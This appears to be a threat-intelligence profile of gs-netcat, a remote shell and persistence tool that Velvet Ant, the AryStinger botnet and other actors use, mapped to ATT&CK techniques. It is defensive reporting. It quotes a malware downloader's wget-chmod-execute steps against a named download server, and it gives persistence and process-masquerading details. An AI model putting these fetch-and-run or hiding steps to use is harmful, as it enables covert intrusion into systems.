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MalwareUsed by 1 actor

gs-netcat

gs-netcat is a remote shell and persistence tool that is part of the Global Socket toolset and uses the Global Socket Relay Network (GSRN) for communication. It is described as the GSRN version of netcat and can communicate using a configured password even when deployed inside internal networks. Across the provided reporting, it is used to provide persistent remote access or reverse shell capability on compromised systems.

High-confidence observed use cases include deployment on compromised Linux servers, routers, NAS devices, and Windows systems. In Sygnia’s reporting on Operation Highland, the China-nexus threat group Velvet Ant deployed a modified gs-netcat reverse shell on exposed servers, renamed the binary to "auditdb," hid it in /usr/sbin/, and disguised the process as "[khubd]." In that campaign, persistence on Linux hosts was maintained via systemd unit files on newer systems and SysVinit scripts on older systems. ASEC also reported gs-netcat being installed through a trojanized VPN installer used by the Larva-24010 threat actor targeting Korean VPN users; in that case it provided remote shell access over GSRN and persistence was achieved through scheduled tasks. BI.ZONE separately reported attackers installing gs-netcat on compromised public-facing servers for persistence after web application compromise.

gs-netcat also appears as a component used by other malware ecosystems. QiAnXin XLab reported that the AryStinger botnet can establish persistent remote management channels by downloading and deploying gs-netcat, with the Standard NAS-targeting version doing so through a function named main_installGSocket, while the RTL819X router-focused version instead deploys Dropbear. The reporting associates gs-netcat with post-compromise persistence, remote administration, and access retention rather than initial infection. Infection vectors mentioned in the source material include compromise of internet-facing servers, exploitation of vulnerable routers and NAS devices, trojanized software installers, and public-facing web application compromise.

Associated threat actors or campaigns directly mentioned with gs-netcat in the content are Velvet Ant, AryStinger operators, Larva-24010, and unidentified actors compromising Russian organizations’ public-facing web applications. Targeted environments mentioned include exposed Linux servers, outdated RTL819X-based routers, NAS devices, Korean VPN users’ Windows systems, and public-facing servers in Russian organizations. Specific indicators directly tied to gs-netcat usage in the content include the renamed binary "auditdb" and the path /usr/sbin/ used by Velvet Ant.

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THREAT ACTORS

Groups observed using it

1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

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Velvet Ant

On exposed servers, the group deployed a modified GS-Netcat reverse shell. They renamed the binary “auditdb” and hid it in /usr/sbin/.

via security online infosecurityonline.info
MITRE ATT&CK

Techniques & procedures

11 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

1 technique
T1133External Remote ServicesEvidence1

The Global Socket Tookit allows two users behind NAT/Firewall to establish a TCP connection with each other... gsocket - Makes an existing program (behind firewall or NAT) accessible from anywhere in the world.

Execution

2 techniques
T1059Command and Scripting InterpreterEvidence3

On exposed servers, the group deployed a modified GS-Netcat reverse shell.

T1059.004Unix ShellEvidence1

Velvet Ant deployed a modified version of GS-Netcat on internet-facing servers to establish a reverse shell to a remote C2 server.

Persistence

4 techniques
T1037Boot or Logon Initialization ScriptsEvidence1

Retain access after reboot... Use any of the start-up scripts, such as /etc/rc.local ... Alternatively and if you do not have root privileges then just append the following line to the user's ~/.profile file.

T1037.004RC ScriptsEvidence1

For persistence, the malware abused systemd unit files on newer hosts and SysVinit scripts on older ones.

T1133External Remote ServicesEvidence1

The Global Socket Tookit allows two users behind NAT/Firewall to establish a TCP connection with each other... gsocket - Makes an existing program (behind firewall or NAT) accessible from anywhere in the world.

T1543.002Systemd ServiceEvidence2

For persistence, the malware abused systemd unit files on newer hosts and SysVinit scripts on older ones.

Privilege Escalation

3 techniques
T1037Boot or Logon Initialization ScriptsEvidence1

Retain access after reboot... Use any of the start-up scripts, such as /etc/rc.local ... Alternatively and if you do not have root privileges then just append the following line to the user's ~/.profile file.

T1037.004RC ScriptsEvidence1

For persistence, the malware abused systemd unit files on newer hosts and SysVinit scripts on older ones.

T1543.002Systemd ServiceEvidence2

For persistence, the malware abused systemd unit files on newer hosts and SysVinit scripts on older ones.

Stealth

1 technique
T1036MasqueradingEvidence3

They renamed the binary “auditdb” and hid it in /usr/sbin/. To slip past analysts, it even disguised itself as the kernel thread “[khubd]”.

Command and Control

4 techniques
T1090ProxyEvidence2

AryStinger supports multiple task types, including internal/external network scanning, traffic tunnel forwarding/proxying... TUNNEL (Tunnel Penetration) Provides tunnel functionality, used to proxy or forward network traffic.

T1095Non-Application Layer ProtocolEvidence1

Uses the Global Socket Relay Network to connect TCP pipes... Once connected the library then negotiates a secure TLS connection(End-2-End).

T1105Ingress Tool TransferEvidence2

Its function is to first obtain the latest version number from the download server hgodpcx[.]ajb8.com, then download and execute the corresponding AryStinger sample... wget -q -O "${BIN_PATH}" "${SRC_URL}" ... chmod +x "${BIN_PATH}" ... "${BIN_PATH}" -b "${CTX}"

T1219Remote Access ToolsEvidence1

the Standard version achieves it by downloading and deploying gs-netcat through main_installGSocket.

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Threat actor attribution1

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping11

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.